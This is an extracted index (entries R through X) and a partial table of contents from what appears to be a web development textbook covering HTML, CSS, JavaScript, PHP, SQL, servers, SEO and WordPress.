Results page, 672–676

Rethrowing, exception, 703, 703c

Return value, absence, 525c

Reverse DNS

lookups, 49

Reverse DNs, 1049

Reverse geocoding, 896

Reverse index(ing), 1084–1086

illustration, 1086f

right properties, 256



RLIKE operator, 711

Robots Exclusion Standard, 1082–1083

Root configuration file, 1051

Root element, 873

Router, 23

Routing, 946

Routing table, 23

example, 23f

Rows, spanning, 173

example, 175f

Ruby on Rails, 17, 496

Run-length compression, 233

example, 234f

Run time, 616

Runtime class, 619–620



S
Safari browser, viewport <meta> tag (usage), 290

Safe method, 676

Sails, 935

sample event handler function, 413c

Sandbox experiments, 1034

Saturation, 216

Scalable Vector Graphics (SVG)

example, 240f

file format, 238–239

Scaling images, 295, 296f

Scheduled mail campaigns, 1144–1145

Schema, 669–670

example, 876c–877c

Schema.org, 201–202, 202c–203c

Scope

in JavaScript, 365–374

visualizing, 373f, 370f

Scrapers, 1083–1084

http://Schema.org


Email, 1084

URL, 1083

word, 1084

Scripting software, 68

Scripts

automated email scripts, 1141–1143

PHP/HTML combination, 518c

Search engine optimization (SEO), 31, 80, 82, 335, 740

black-hat, 1104–1110

SEO-optimized order, 277

white-hat, 1096–1104

Search engines

anatomy of, 1077–1080

before Google, 1077–1078

black-hat SEO, 1104–1110

history of, 1077–1080

indexing, 1084–1086

measures of similarity, 1089–1095

overview, 1078–1080

PageRank, 1086–1089



Result Order, 1086–1089

result page, URL (examples), 741f

reverse indexing, 1084–1086

web crawlers and scrapers, 1080–1084

white-hat SEO, 1096–1104

Search engines, semantic information used by, 202f

Search engine webmaster tools, 1147–1148

Search page, 672–676

Search results page

example, 672f

partial solution, example, 674c–675c

problems, 675f

solution, 676c

Second-level domain (SLD), 47–48

restrictions, 49

Sections, 101–103

Secure FTP (SFTP), 45

Secure Shell (SSH), 56

access, 1032

protocol, 44, 45



Secure Socket Layer (SSL), 1056–1058

Security specialist/consultant/expert, 30

Seeds, 1080

<select> element, usage, 190

example, 190f

Selection methods, DOM, 394–397, 395t

Select lists, 190–191

Selectors, 120, 127–137

attribute, 445

attribute selectors, 132–133

example, 132c, 133f

basic, 444–445

class selectors, 128

contextual, 446

contextual selectors, 136–137

element selectors, 128

form, 447, 448t

grouped selector, 128

id selectors, 130–131

jQuery, 442–447, 448t



illustration, 445f

jQuery filters, 446, 447f, 447c

pseudo-class selector, 134–136

pseudo-elements, 446

pseudo-element selector, 134–136

speed consideration, 448

types, 133t

universal element selector, 128

usage, 121

SELECT query

execution

mysqli, usage, 656c

PDO, usage, 656c

running, 656–657

SELECT statement, 633–634

example, 634f

INNER JOIN, usage, 635f

Semantic HTML documents, creation, 78–79

Semantic HTML markup, writing (advantages), 79–80

Semantic information



used by search engines, 202f

Semantic markup, 78–80, 97

Semantic structure elements (HTML5), 97–111

Semantic web, 14

Sender Policy Framework (SPF) records, 1048

SEO. See Search engine optimization

SEO specialist, 31

Serializable interface, implementation (class modification), 747c

Serialization, 746–748

application, 748

example, 746f

Server, 15

caching, 1068–1070

desktop objects, differences, 587–588

farm, 18

example, 19f

header, 58

information keys, 560

memory, applications (relationship), 755f

multiple, vs. virtualized server, 1037f



racks, 19

example, 20f

real-world server installations, 18–20

relationship, 559f

scripts

access, 495f

comparison, 493

execution, comparison, 494f

sprawl, 1041

time web page, synchronous implementation, 468f

time widget, AJAX implementation, 469f

types, 16–17

example, 18f

virtualization, 1037–1041

visualization, user parameters, 738f

SERVER_ADDR, usage, 560

Server-side development, 32–33, 493–509

client/server scripts, comparison, 493

server-side script resources, 493–495

server-side technologies, comparison, 495–498



Server-side include (SSI), 521

Server-side JavaScript, 935

Server-side script resources, 493–495

Service, 1051

Service-oriented architecture (SOA), 892

Service-oriented computing (SOC), 892

Service requests

function, creation, 901–903

identification/authentication, 899–900

serviceTravelCountries.php service, 911, 912c–913c, 921

sample JSON returned from, 912c

testing, 915f

Session awareness, 756

session_cache_expire() function, 761

session_cache_limiter() function, 761

Session IDs, 754f

sending, 755

Sessions

configuration, 754–755

cookie, 742



existence, checking, 750

saving, decision, 754

shared location (usage), php.ini configuration, 757c

storage, 754–755

shared location, usage, 756–757

Session state, 748–757

access, 750c

example, 749f, 751–753

function, 753–754

usage, 750

setBackground() function, 424

setcookie() function, usage, 744

set_exception_handler() function, 704

setItem() function, usage, 758

setRequestHeader, 474

Setters, 603, 607–608

methods, impact, 603

SFTP (secure FTP), 45

Sharding, 956, 956f

Shared hosting, 21, 1031–1034



categories, 1032–1034

simple shared hosting example, 1031f, 1032–1033

virtualized shared hosting, 1033–1034

Shared location, usage, 756–757

Shared session provider, example, 757f

SharePoint, 976, 978t

show() method, 459, 460f

shuffle($someArray), 547

Siblings, 136

Simple asynchronous web poll, 470f

Simple Knowledge Organization System (SKOS), 14

Simple Mail Transfer Protocol (SMTP), 17, 44

servers, usage, 1048

Simple Object Access Protocol (SOAP)

services, 893–895

web services, 894f

Simple shared hosting, 1032–1033

example, 1031f

SimpleXML

extension, 885



usage, 885

XMLReader, combination, 888c

Simpson, Kyle, 370

Single-line comments, 510

Single master replication, 955, 955f

Single-Page Applications (SPA), 963, 964f

single.php, 1000, 1022

Single-post template, 1019, 1019c

Single-root element, 873

single-textbook.php, 1000

Site design

white-hat SEO, 1100–1101

Site manager, 985

Sitemaps

white-hat SEO, 1101–1102

Sites. See also Websites

monetization, 1136–1140

size (button size), 1131

size (integer), 563

Skeleton, 590



Slide functions, using, 461f

Sliding, animation, 460, 461f

Snippets, 1132

Social media presence, 1122–1123

Social networks, 1117–1121

characteristics, 1120–1121

connection, 1119f

contacts, management, 1121

defined, 1121

email social networks, 1118f

evolution, 1119–1120

integration, 1121–1136

links/logos, 1122

registration, 1120

relationships, 1120

user profile page, 1120–1121

Sociotechnological integration, 13–14

Socket.io, 949–950

Software

database, 67



program, 7

Software as a Service (SaaS), 1042

Software engineer, 31

Software engineering tools, 592–593

Software framework, 933

Source URL, asynchronous get request, 916–917

SPA. See Single-Page Applications

Spam bots, 716

Spanning rows/columns, 173

examples, 174f, 175f

Specialized controls, 192–194

Specifications, 71

Specificity, 138–141

algorithm, 142f

example, 141f

Split complementary color, 221f

SQLite, 66

example, 632f

Standards mode, 82

Start of Authority (SOA) record, 1048



Start-Up companies, 35

State

problem (web applications), 736–738

session state, 748–757

State information, cookies (usage), 741–742

Static member, 599–601

usage, 600c

Static methods, static properties (comparison), 601

Static property, 601f

Static websites, 11

example, 10f

vs. dynamic websites, 10–11

status, 474

statusText, 474

Stemming, 1085

Stream access, 568–569

Streaming server, 17

Stream resource, 569

Strict mode, 378–379

String



case-sensitive string, 652

comparison, 1090

connection string, 652

literals, 512

object

escape sequences, 512t

Structure

impact, 78–79

visualization, 79f

Structured Query Language (SQL), 633–642

case study schemas, 669–671

command, 639c

DELETE statement, 636, 637f

example, 667–668

INSERT statement, 636, 637f

LIKE operator, 711

script, running, 650

SELECT example, 634f

SELECT statement, 633–634

transactions, 636–640



usage, 666–667

UPDATE statement, 636, 637f

wildcard character, 673

Style guides, 309–310

sample, 311f

Styles

embedded style sheet, 126

external style sheet, 126–127

inline styles, 125

interaction, 138–144

sheets, types, 127

Subclass, 608

Subdomains, 49

Sub-subdomains, creation, 49

Subtractive colors, 215

<summary> element, 105, 106f

Super administrator, 986

Superclass, 608

Superglobal arrays, 547

Superglobal arrays,



$_GET superglobal arrays, 548–558

$_POST superglobal arrays, 548–558

Superglobal variables, 547

examples, 547t

switch… case statement, 519–520

switch statement, 345c, 519c

Symphony, 935

Synchronous JavaScript, vs. AJAX, 466f

Syndication, 102–103

Syntax errors, 72

Syntax highlighting, 589

system

System administrator, 30

Systems engineer, 29

System-wide caching, facilitation, 53–54



T
Tables, 172, 626

accessibility, 196–200

attributes, 178

borders, 178

styling, 179f

boxed table, example, 180f

boxes, 180–181

diagramming, 628f

elements, 175

example, 176f

examples, 172f

forms, 181–186

headings, addition, 174f

many-to-many relationship, 629–630

one-to-many relationship, 629

one-to-one relationship, 629

query strings, 183–184

spanning rows/columns, 173



structure, 172–173

example, 173f

styling, 178–181

usage, 176–178

example, 177f

zebras, 180–181

Tagged Image File (TIF), 239

Tags, 70

usage, 76

Tags, PHP, 509–510, 509c

Task runner tools. See Build tools

Taxonomies, WordPress, 998–999

Telephone network, 4

circuit switching example, 5f

Template management, 982–983, 982f

Template tags, WordPress, 1008–1009

Tester/quality assurance, 31

Tetradic (rectangular) color, 221f

Text

advertisements, 1137–1138



files, processing, 569

properties, types, 163t

styling, 156–164

Text-based client, 334

Text input controls, 186–190

example, 188f

types, 187t–188t

Text-level semantic elements, 94t

Textual markup language, 72

Theora video, 243

Third party, private registration, 1045f

Third-party analytics, 1149–1153

this keyword, 364–365, 378

contextual meaning of, 365f

Thread, 502

Three-column layout

creation, 276f

nested floats, usage, 277f

positioning, usage, 278f

Throw, exception, 702, 703c



Time control, 195–196

example, 197f

HTML5 example, 196t

Timeout, 1054

Time to live (TTL) field, 53–54

Timing, DOM, 405

<title> element, role, 82

tmp_name (path), 563

Toggle methods, 461

Tools, web development, 107–111

Top-level domain (TLD), 47–48

name server, 146

address, receipt, 52–53

obtaining, 53

server, 53

digging, 1046

top properties, 256

toString() method, 616

Touch events, 416

Tracking pixels, 1144



Transactions, 636–640

distributed transactions, 638, 639–640

local transactions, 638–639

processing, SQL commands, 639c

usage, 666–667

mysqli extension, 666c

PDO, usage, 666c–667c

Transforms (CSS3), 261–263, 262f

Transitions, 298–301

background-color, on a button, 299f

properties, 298t, 301f

sliding menu, 300f

vs. animations, 302f

Transmission Control Protocol (TCP), 43

packets, 44f

Transmission Control Protocol/Internet Protocol (TCP/IP), 5–6

protocol, 54

Transport layer, 43

Transport Layer Security (TLS), 1056–1058

Travel photo sharing database, examples, 669, 669f



Triad color, 221f

TRouBLe (mnemonic), 150–151

Truthy values, 346–347

try… catch block, 702c

Try-catch block, 349

Try-catch statement, 349

Tweet

button, 1133f

This button, 1133, 1133f

Twitter

code, 1133c

Follow button, 1133, 1134f

defining, markup (usage), 1134c

timeline, 1134–1135

embedding, markup (usage), 1135c

Widget code generator, screenshot, 1134f

widgets, 1132–1135

Two-column layout, creation, 275f–276f

Two-phase commit, 640

TXT records, 1048
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update, 605–606
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sequence diagram, 466f

Uniform Resource Locator (URL), 6, 54–56
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domains, 55
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port, 55

protocol, 54
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relative referencing, 91–94
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white-hat SEO, 1098–1100
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Unique Page Views, 1149
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Universal selector, 444
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unwrap() method, 457

UPDATE statement, 636
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Upload (allowance), form (HTML usage), 562c

URL. See Uniform Resource Locator

URL scrapers, 1083
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groups, 1118

User-agent components, 58f

User-agent header, usage, 560–561

User-agent string, 57–58

access, 560c

User data

integration, 661–662

sanitizing, 663

User Datagram Protocol (UDP), 43

User-defined function, 524

User-experience (UX) design, 30–31

User input



data, integration, 662c
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validation, 711–716

error reduction, 713–716
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types of, 711–712

User inputs, sanitizing, 555

User management, 983–984

User profile page, 1120–1121

Users

style sheets, 127

without JavaScript, 333–336
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UX developer, 30–31
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Vagrant tool, 1039–1040, 1039f–1040f

Validation

built in, 590

empty field validation, 424–427

HTML5 browser, 719f

JavaScript, 717–720

example, 718f, 721c–723c

level of, 720–723

levels of, 716–728

visualization, 717f

number, 427–428

perform, 716–728

at PHP level, 723–728

records, 1048

script, 426c

user input, 711–716

error reduction, 713–716

notification, 712



types of, 711–712

validationform.php, example, 718c–719c

ValidationResult class, 723, 724c–725c

Valid XML, 875–877

Value attribute, 191f

Value pairs, 120

Values, 122–125

color values, 123t

enabling, HTML (usage), 552c

existence, checking, 545

measure units, 123t–124t

Variables, 511–513
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in global scope, 366

in JavaScript, 336–338

declaration and assignment, 336–337, 337f

dynamically typed, 336

undefined, 336

in local scope, 365–366

loop control, 347
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/var/www/html/myWordPressSite/, 992

VBScript, 328

Vector images, 211
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resizing, 213f

Vendor prefixes, 155

Version control, 571–577, 593, 593f

Vertical elements, contact, 148

Vertically integrated companies, 34

Vertical margins, collapse, 150f

Video, 241–247

browser support, 243t

support, 243

<video> element, usage, 243, 244f

Viewports

example, 291f

<meta> tag, Safari usage, 290

setting, 289–290

VirtualHost, 1059–1060



Virtualization, 1043

cloud, 1041–1043

container-based, 1040–1041, 1041f

server, 1037–1041

Virtualized shared host, server (display), 1033f

Virtualized shared hosting, 1033–1034

Virtual machine (VM), 502

Virtual server, 21, 1034

operating system, relationship, 1034

Visibility, 598–599

display, comparison, 272f

visibility property, usage, 272

Visually disabled client, 334

Visually impaired, browser for, 335f

Vorbis audio, 243

VP8 video, 243
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Web 2.0, 12–13
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Web Accessibility Initiative (WAI), 80

reaction, 196–197

role, 200

Webalizer, 1149

Web-based content management systems (WCMS), 976

Web browser. See Browser

Web bugs, 1144

Web Content Accessibility Guidelines, 80

Web crawler, 333

Web crawlers, 1080–1084
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Web developers, 28

Web development



back-end, 28
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roles and skills, 29–33, 29f

types of companies, 33–35, 34f

working in, 28–36

Web development ecosystem, 2–3, 2f

Web development tools, 107–111

Web directories, 1077

Web Fonts (Google), 161, 162f

Web font stack, 156–157

Web Hypertext Application Technology Working Group (WHATWG),
74–75

specification, 100, 102–103

WebIE (browser), 335f

Webmaster, 9, 28

WebM container, 243

Web Ontology Language (OWL), 14

WebP, 240

Web page

fetching, 62–63, 62f

Webpage



rendering, 63

Web-related regular expressions, 710t

Web-safe color palette, 235

Web science, 13–14

Web servers, 65–67

database software, 67

directory requests, 1061–1062

hosting, local, 504f

hosting options, 1031–1036

multiple domains management, 1059–1061

operating systems, 65–66

popularity, 1050f

power, 65

responsibilities, 498–503

scripting software, 68

software, 66

Web service, 494–495

Websites

differences, 10–11

directory tree, 92f
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management, 974–976, 975f

challenge, 975f
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media management, 974

menu control, 974

search functionality, 974

template management, 974

user management, 974

version control, 974

workflow, 974

WYSIWYG editor, 974

Website solution companies, 33–34

WebSockets, 949

WebVTT file, 243

Weiss, Mark Allen, 78

Well-formed XML, 873–875

What You See Is What You Get (WYSIWYG) design, 981
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meta tags, 1097–1098

site design, 1100–1101

sitemaps, 1101–1102

title, 1096–1097

URLs, 1098–1100

WHOIS (domain name registration), 1044

private registration, 1045

registrant information, illustration, 1044f

Widgets, WordPress, 996–997, 997f

archive, 996
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creation of, 1023–1024
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meta, 997
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Tag Cloud, 997
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Wildcard certificate, 1057
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server tool, 1031

software stack, 65

Windows-based operating systems, 502
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WISA software stack (Microsoft), 65

WordPress, 977, 979. See also Content management system (CMS)

core classes, 1006–1008

custom posts, 1000
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installation, 992–993

command-line, 993

control, absence, 1032
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multisite installation, 995

nomenclature, 995–998, 995f
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permalinks, 998
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plugins, 997–998

writing, 1020–1024
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template, 996
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theme, 996
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widgets, 996–997, 997f
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Word scrapers, 1084
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bugs, 1144

commodity markets, 1139–1140
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environments, market share, 498f
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internal, 1070–1071
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state, problem, 736–738

subset, 4f
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tag anchor, 56

technologies, 497f

Web 2.0, 12–13

World Wide Web (WWW) (Web) applications
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comparison, 8–9

differences, 736f

World Wide Web (WWW) (Web) context

XML, usage, 874f

World Wide Web (WWW) (Web) development, 625

databases, role, 625

World Wide Web (WWW) (Web) servers, 16, 65–67

database software, 67

operating systems, 66–67

scripting software, 68

software, 66
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World Wide Web (WWW) (Web) services, 892–900
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overview, 893f

querying/results processing, 903c

World Wide Web (WWW) (Web) storage, 758

reading, 759c
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wp-admin, 993, 993f
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WP_Query, 1006–1007
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WSDL, 893

WS-protocol stack, 893

WYSIWYG editors, 107–108, 108f, 981, 981f, 982f
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XA standard, 640

x-height, font stack, 158

XML. See Extensible Markup Language

XMLHTTPRequest object, 329, 468

XMLReader, 885

SimpleXML, combination, 888c
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XPath, 880–881

expressions, sample, 881f

method (usage), SimpleXML (inclusion), 886c
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1. 6.5.1 Media Concepts
2. 6.5.2 Browser Video Support
3. 6.5.3 Browser Audio Support

7. 6.6 Chapter Summary
1. 6.6.1 Key Terms
2. 6.6.2 Review Questions
3. 6.6.3 Hands-On Practice

1. Project 1: Book Rep Customer Relations Management
1. Difficulty Level: Basic

1. Overview
2. Instructions
3. Testing

2. Project 2: Art Store
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Testing



3. Project 3: Share Your Travel Photos
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Testing

14. 7 Advanced CSS: Layout
1. Chapter Objectives
2. 7.1 Normal Flow
3. 7.2 Positioning Elements

1. 7.2.1 Relative Positioning
2. 7.2.2 Absolute Positioning
3. 7.2.3 Z-Index
4. 7.2.4 Fixed Position

4. 7.3 Floating Elements
1. 7.3.1 Floating within a Container
2. 7.3.2 Floating Multiple Items Side by Side
3. 7.3.3 Containing Floats
4. 7.3.4 Overlaying and Hiding Elements

5. 7.4 Constructing Multicolumn Layouts
1. 7.4.1 Using Floats to Create Columns
2. 7.4.2 Using Positioning to Create Columns
3. 7.4.3 Using Flexbox to Create Columns

6. 7.5 Approaches to CSS Layout
1. 7.5.1 Fixed Layout
2. 7.5.2 Liquid Layout

7. 7.6 Responsive Design
1. 7.6.1 Setting Viewports
2. 7.6.2 Media Queries
3. 7.6.3 Scaling Images

8. 7.7 Filters, Transitions, and Animations
1. 7.7.1 Filters
2. 7.7.2 Transitions
3. 7.7.3 Animations

9. 7.8 CSS Frameworks and Preprocessors
1. 7.8.1 CSS Frameworks
2. 7.8.2 CSS Preprocessors

10. 7.9 Chapter Summary



1. 7.9.1 Key Terms
2. 7.9.2 Review Questions
3. 7.9.3 Hands-On Practice

1. Project 1: Art Store
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Testing

2. Project 2: Book CRM
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Testing

3. Project 3: Share Your Travel Photos
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Testing

4. 7.9.3 References
15. 8 JavaScript 1: Language Fundamentals

1. Chapter Objectives
2. 8.1 What is JavaScript and What Can It Do?

1. 8.1.1 Client-Side Scripting
2. 8.1.2 JavaScript's History
3. 8.1.3 JavaScript and Web 2.0
4. 8.1.4 JavaScript in Contemporary Software Development

3. 8.2 Where Does JavaScript Go?
1. 8.2.1 Inline JavaScript
2. 8.2.2 Embedded JavaScript
3. 8.2.3 External JavaScript
4. 8.2.4 Advanced Inclusion of JavaScript
5. 8.2.5 Users without JavaScript

1. The <NoScript> Tag
4. 8.3 Variables and Data Types

1. 8.3.1 Data Types
2. 8.3.2 Reference Types

5. 8.4 JavaScript Output



6. 8.5 Conditionals
1. 8.5.1 Truthy and Falsy

7. 8.6 Loops
1. 8.6.1 While and do … while Loops
2. 8.6.2 For Loops

8. 8.7 Arrays
9. 8.8 Objects

1. 8.8.1 Object Creation—Object Literal Notation
2. 8.8.2 Object Creation—Constructed Form

10. 8.9 Functions
1. 8.9.1 Function Declarations vs. Function Expressions
2. 8.9.2 Nested Functions
3. 8.9.3 Hoisting in JavaScript
4. 8.9.4 Callback Functions
5. 8.9.5 Objects and Functions Together
6. 8.9.6 Scope in JavaScript

1. Global Scope
2. Local Scope
3. Globals By Mistake

7. 8.9.7 Function Constructors
11. 8.10 Object Prototypes

1. 8.10.1 Using Prototypes
2. 8.10.2 Using Prototypes to Extend Other Objects

12. 8.11 Chapter Summary
1. 8.11.1 Key Terms
2. 8.11.2 Review Questions
3. 8.11.3 Hands-On Practice

1. Project1: Art Store
1. Difficulty Level: Beginner

1. Overview
2. Instructions
3. Test

2. Project 2: Photo Sharing Site
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Test



3. Project 3: CRM Admin
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Test

4. Works Cited
16. 9 JavaScript 2: Using JavaScript

1. Chapter Objectives
2. 9.1 The Document Object Model (DOM)

1. 9.1.1 Nodes and NodeLists
2. 9.1.2 Document Object
3. 9.1.3 Selection Methods
4. 9.1.4 Element Node Object

3. 9.2 Modifying the DOM
1. 9.2.1 Changing an Element's Style
2. 9.2.2 Changing an Element's Content
3. 9.2.3 Creating DOM Elements
4. 9.2.4 DOM Timing

4. 9.3 Events
1. 9.3.1 Event-Handling Approaches

1. Inline Event-Handling Approach
2. Event Property Approach
3. Event Listener Approach

2. 9.3.2 Event Object
5. 9.4 Event Types

1. 9.4.1 Mouse Events
2. 9.4.2 Keyboard Events
3. 9.4.3 Touch Events
4. 9.4.4 Form Events
5. 9.4.5 Frame Events

6. 9.5 Forms
1. 9.5.1 Responding to Form Movement Events
2. 9.5.2 Responding to Form Changes Events
3. 9.5.3 Validating a Submitted Form

1. Empty Field Validation
2. Number Validation

4. 9.5.4 Submitting Forms



7. 9.6 Chapter Summary
1. 9.6.1 Key Terms
2. 9.6.2 Review Questions
3. 9.6.3 Hands-On Practice

1. Project 1: Art Store
1. Difficulty Level: Beginner

1. Overview
2. Instructions
3. Test

2. Project 2: Share Your Travel Photos
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Test

3. Project 3: CRM Admin
1. Difficulty Level: Advanced

1. Overview
2. Instructions
3. Test

4. Works Cited
17. 10 JavaScript 3: Extending JavaScript with jQuery

1. Chapter Objectives
2. 10.1 jQuery Foundations

1. 10.1.1 Including jQuery
2. 10.1.2 jQuery Selectors

1. Basic Selectors
2. Attribute Selector
3. Pseudo-Element Selector
4. Contextual Selector
5. jQuery Filters
6. Form Selectors

3. 10.1.3 Common Element Manipulations in jQuery
1. HTML Attributes
2. HTML Properties
3. Changing CSS

3. 10.2 Event Handling in jQuery
1. 10.2.1 Binding and Unbinding Events



2. 10.2.2 Page Loading
4. 10.3 DOM Manipulation

1. 10.3.1 Creating Nodes
2. 10.3.2 Adding DOM Elements
3. 10.3.3 Wrapping Existing DOM in New Tags

5. 10.4 Effects and Animation
1. 10.4.1 Animation and Effects Shortcuts

1. Fading
2. Sliding
3. Toggle Methods

2. 10.4.2 Raw Animation
1. Easing functions

6. 10.5 AJAX
1. 10.5.1 Making Asynchronous Requests

1. GET Requests
2. The jqXHR Object
3. POST Requests

2. 10.5.2 Complete Control over AJAX
3. 10.5.3 Cross-Origin Resource Sharing

7. 10.6 Asynchronous File Transmission
1. 10.6.1 The FormData Interface
2. 10.6.2 Appending Files to a POST

8. 10.7 Chapter Summary
1. 10.7.1 Key Terms
2. 10.7.2 Review Questions
3. 10.7.3 Hands-On Practice

1. Project 1: Art Store
1. Difficulty level: Easy

1. Overview
2. Instructions
3. Testing

2. Project 2: Travel
1. Difficulty level: Intermediate
2. Overview

1. Instructions
2. Testing

3. Project 3: CRM Admin



1. Difficulty level: Advanced
1. Overview
2. Instructions
3. Testing

4. Works Cited
18. 11 Introduction to Server-Side Development with PHP

1. Chapter Objectives
2. 11.1 What Is Server-Side Development?

1. 11.1.1 Comparing Client and Server Scripts
2. 11.1.2 Server-Side Script Resources
3. 11.1.3 Comparing Server-Side Technologies

3. 11.2 Quick Tour of PHP
1. 11.2.1 PHP Tags
2. 11.2.2 PHP Comments
3. 11.2.3 Variables, Data Types, and Constants
4. 11.2.4 Writing to Output
5. 11.2.5 printf

4. 11.3 Program Control
1. 11.3.1 if … else
2. 11.3.2 switch … case
3. 11.3.3 while and do … while
4. 11.3.4 for
5. 11.3.5 Alternate Syntax for Control Structures
6. 11.3.6 Include Files

1. 11.3.6.1 Scope within Include Files
5. 11.4 Functions

1. 11.4.1 Function Syntax
2. 11.4.2 Calling a Function
3. 11.4.3 Parameters

1. 11.4.3.1 Parameter Default Values
2. 11.4.3.2 Passing Parameters by Reference
3. 11.4.3.3 Parameter-Type Declarations

4. 11.4.4 Variable Scope within Functions
6. 11.5 Chapter Summary

1. 11.5.1 Key Terms
2. 11.5.2 Review Questions
3. 11.5.3 Hands-on Practice



1. Project 1: Art Store
1. Difficulty Level: Beginner

1. Overview
2. Project 2: CRM Admin

1. Difficulty Level: Intermediate
1. Overview

3. Project 3: Share Your Travel Photos
1. Difficulty Level: Advanced

1. Overview
2. Instructions
3. Test

4. 11.5.7 References
19. 12 PHP Arrays and Superglobals

1. Chapter Objectives
2. 12.1 Arrays

1. 12.1.1 Defining and Accessing an Array
2. 12.1.2 Multidimensional Arrays
3. 12.1.3 Iterating through an Array
4. 12.1.4 Adding and Deleting Elements

1. Checking If a Value Exists
5. 12.1.5 Array Sorting
6. 12.1.6 More Array Operations
7. 12.1.7 Superglobal Arrays

3. 12.2 $_GET and $_POST Superglobal Arrays
1. 12.2.1 Determining If Any Data Sent
2. 12.2.2 Accessing Form Array Data
3. 12.2.3 Using Query Strings in Hyperlinks
4. 12.2.4 Sanitizing Query Strings

4. 12.3 $_SERVER Array
1. 12.3.1 Server Information Keys
2. 12.3.2 Request Header Information Keys

5. 12.4 $_FILES Array
1. 12.4.1 HTML Required for File Uploads
2. 12.4.2 Handling the File Upload in PHP
3. 12.4.3 Checking for Errors
4. 12.4.4 File Size Restrictions
5. 12.4.5 Limiting the Type of File Upload



6. 12.4.6 Moving the File
6. 12.5 Reading/Writing Files

1. 12.5.1 Stream Access
2. 12.5.2 In-Memory File Access

7. 12.6 Chapter Summary
1. 12.6.1 Key Terms
2. 12.6.2 Review Questions
3. 12.6.3 Hands-On Practice

1. Project 1: Art Store
1. Difficulty Level: Beginner

1. Overview
2. Instructions
3. Test

2. Project 2: Share Your Travel Photos
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Test

3. Project 3: CRM Admin
1. Difficulty Level: Advanced

1. Overview
2. Instructions
3. Test

4. 12.6.4 References
20. 13 PHP Classes and Objects

1. Chapter Objectives
2. 13.1 Object-Oriented Overview

1. 13.1.1 Terminology
2. 13.1.2 The Unified Modeling Language
3. 13.1.3 Differences between Server and Desktop Objects

3. 13.2 Classes and Objects in PHP
1. 13.2.1 Defining Classes
2. 13.2.2 Instantiating Objects
3. 13.2.3 Properties
4. 13.2.4 Constructors
5. 13.2.5 Method
6. 13.2.6 Visibility



7. 13.2.7 Static Members
8. 13.2.8 Class Constants

4. 13.3 Object-Oriented Design
1. 13.3.1 Data Encapsulation
2. 13.3.2 Inheritance

1. Referencing Base Class Members
2. Inheriting Methods
3. Parent Constructors

3. 13.3.3 Polymorphism
4. 13.3.4 Object Interfaces

1. Runtime Class and Interface Determination
5. 13.4 Chapter Summary

1. 13.4.1 Key Terms
2. 13.4.2 Review Questions
3. 13.4.3 Hands-On Practice

1. Project 1: Share Your Travel Photos
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Testing

2. Project 2: Share Your Travel Photos
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Testing

3. Project 3: CRM Admin
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Test

4. 13.4.4 References
21. 14 Working with Databases

1. Chapter Objectives
2. 14.1 Databases and Web Development

1. 14.1.1 The Role of Databases in Web Development
2. 14.1.2 Database Design
3. 14.1.3 Database Options



3. 14.2 SQL
1. 14.2.1 SELECT Statement
2. 14.2.2 INSERT, UPDATE, and DELETE Statements
3. 14.2.3 Transactions

1. Local Transactions
2. Distributed Transactions

4. 14.2.4 Data Definition Statements
5. 14.2.5 Database Indexes and Efficiency

4. 14.3 NoSQL
1. 14.3.1 Key-Value Stores
2. 14.3.2 Document Stores
3. 14.3.3 Column Stores

5. 14.4 Database APIs
1. 14.4.1 PHP MySQL APIs
2. 14.4.2 Deciding on a Database API

6. 14.5 Managing a MySQL Database
1. 14.5.1 Command-Line Interface
2. 14.5.2 phpMyAdmin
3. 14.5.3 MySQL Workbench

7. 14.6 Accessing MySQL in PHP
1. 14.6.1 Connecting to a Database

1. Storing Connection Details
2. 14.6.2 Handling Connection Errors

1. PDO Exception Modes
3. 14.6.3 Executing the Query
4. 14.6.4 Processing the Query Results

1. Fetching into an Object
5. 14.6.5 Freeing Resources and Closing Connection
6. 14.6.6 Working with Parameters

1. Integrating User Data
2. Sanitizing User Data
3. Prepared Statements

7. 14.6.7 Using Transactions
8. 14.7 Case Study Schemas

1. 14.7.1 Travel Photo Sharing Database
2. 14.7.2 Art Database
3. 14.7.3 Book CRM Database



9. 14.8 Sample Database Techniques
1. 14.8.1 Search and Results Page
2. 14.8.2 Editing a Record
3. 14.8.3 Saving and Displaying Raw Files in the Database

1. Storing Blob Data
2. Displaying BLOBs from the Database

10. 14.9 Chapter Summary
1. 14.9.1 Key Terms
2. 14.9.2 Review Questions
3. 14.9.3 Hands-On Practice

1. Project 1: CRM Admin
1. Difficulty Level: Beginner

1. Overview
2. Instructions
3. Test

2. Project 2: Share Your Travel Photos
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Test

3. Project 3: Art Store
1. Difficulty Level: Advanced

1. Overview
2. Instructions
3. Test

4. 14.9.4 References
22. 15 Error Handling and Validation

1. Chapter Objectives
2. 15.1 What Are Errors and Exceptions?

1. 15.1.1 Types of Errors
2. 15.1.2 Exceptions

3. 15.2 PHP Error Reporting
1. 15.2.1 The error_reporting Setting
2. 15.2.2 The display_errors Setting
3. 15.2.3 The log_errors Setting

4. 15.3 PHP Error and Exception Handling
1. 15.3.1 Procedural Error Handling



2. 15.3.2 Object-Oriented Exception Handling
3. 15.3.3 Custom Error and Exception Handlers

5. 15.4 Regular Expressions
1. 15.4.1 Regular Expression Syntax
2. 15.4.2 Extended Example

6. 15.5 Validating User Input
1. 15.5.1 Types of Input Validation
2. 15.5.2 Notifying the User
3. 15.5.3 How to Reduce Validation Errors

7. 15.6 Where to Perform Validation
1. 15.6.1 Validation at the JavaScript Level
2. 15.6.2 Validation at the PHP Level

8. 15.7 Chapter Summary
1. 15.7.1 Key Terms
2. 15.7.2 Review Questions
3. 15.7.3 Hands-On Practice

1. Project 1: Photo Sharing Site
1. Difficulty Level: Basic

1. Overview
2. Instructions
3. Testing

2. Project 2: Art Store
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Testing

3. Project 3: Art Store
1. Difficulty Level: Advanced

1. Overview
2. Instructions
3. Testing

4. 15.7.4 References
23. 16 Managing State

